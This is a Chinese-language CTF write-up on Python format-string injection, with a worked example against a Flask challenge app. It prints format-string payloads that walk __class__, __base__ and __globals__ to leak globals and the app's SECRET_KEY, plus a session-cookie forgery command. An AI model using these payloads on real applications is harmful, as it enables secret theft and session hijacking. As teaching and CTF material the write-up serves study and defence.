0x00 前言
在python2.6之后,引入了format格式化字符串的方法,极大的扩展了%格式化字符串的形式。它甚至可以访问对象的属性和数据项,这导致字符串在用户可控的的条件下,将产生安全问题。
0x01 简单例子
1 | secert = 'I_love_python' |
假设上面代码中email内容用户可控,使用上面构造的字符串后,发现带出来敏感数据。1
Hello ,boogle your email is l3oog1e_Password,{'info': 'Hello ,{user.name} your email is {user.password},{user.__class__.__init__.__globals__}', 'secert': 'I_love_python', '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'C:\\Users\\14737\\Desktop\\format.py', '__package__': None, 'email': '{user.password},{user.__class__.__init__.__globals__}', 'User': <class __main__.User at 0x02D41DC0>, '__name__': '__main__', '__doc__': None, 'user': <__main__.User instance at 0x02D55508>}
0x02 构造利用链
在上面的实例中,我们带出来两种数据,一种是方法内的局部变量,一种是类外的全局变量。可以看到带出局部变量构造比较简单,而带出全局变量比较复杂,而在实际环境中带出敏感信息则更为复杂,这里介绍几个常用的方法。
- bases 返回一个类直接所继承的类(元组形式
- mro 也是返回一个类直接所继承的类
- class 返回一个实例所属的类
- globals 用于函数,返回一个当前空间下能使用的模块,方法和变量的字典
- subclasses() 获取一个类的子类,返回的是一个列表
0x03 ctf题目
下面使用百越杯中的一个web题目演示上面利用链的使用方法。
搭建环境
1 | 修改工作目录即文件夹名为flaskr |
代码审计
这里只查看格式化字符串漏洞导致信息泄露部分,全局搜索format1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def views_info():
view_id = request.args.get('id')
if not view_id:
view_id = session.get('user_id')
user_m = user.query.filter_by(id=view_id).first()
if user_m is None:
flash(u"该用户未注册")
return render_template('secert/views.html')
if str(session.get('user_id'))==str(view_id):
secert_m = secert.query.filter_by(id=view_id).first()
secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
else:
secert_t = u"<p>***************************************<p>"
name = u"<h1>name:{user_m.username}<h1>"
email = u"<h2>email:{user_m.email}<h2>"
info = (name+email+secert_t).format(user_m=user_m)
return render_template('secert/views.html',info = info)
在view_info函数中可以看到secret_m内容首先进入到secret_r然后又带入格式化的字符串中,这里secret_m为数据库secert表内容,继续往下看,可以看到该表中内容来自用户edit页面编辑1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def edit_secert():
if request.method=='POST':
secert_new = request.form.get('secert')
error = None
if not secert_new:
error = u'请输入你的秘密'
if error is None:
secert.query.filter_by(id = session.get('user_id')).update({'secert':secert_new})
db.session.commit()
return redirect(url_for('secert.views_info'))
flash(error)
return render_template('secert/edit.html')
所以,secert_m内容可控,即最终格式化字符串的内容可控,即存在我们上面所说的问题。1
info = (name+email+secert_t).format(user_m=user_m)
这里format()方法中,传入参数user_m,则前面字符串中也应为{user_m}形式,否则会报错。
构造利用链
首先确定函数为user_m,向上查看。1
2
3```
class user(db.Model):
....//省略类内容
在该类中没有我们想要的内容,可以看到user类继承自db.Model。那么可以使用base获取。
db.Model是SQLAlchemy的实例。而db使用了current_app进行了配置1
2
3
4
5def init_db():
db = sqlite3.connect(
current_app.config['DATABASE'],
detect_types=sqlite3.PARSE_DECLTYPES
)
而current_app中有用于生成用户session的SECRET_KEY,所以我们可以用这条链进行获取。1
{user_m.__class__.__base__.__class__.__init__.__globals__[current_app].config}
获取到secret_key便可进行session伪造
利用脚本https://github.com/noraj/flask-session-cookie-manager1
python3 .\session_cookie_manager.py encode -s 'test' -t "{'user_id': 5}"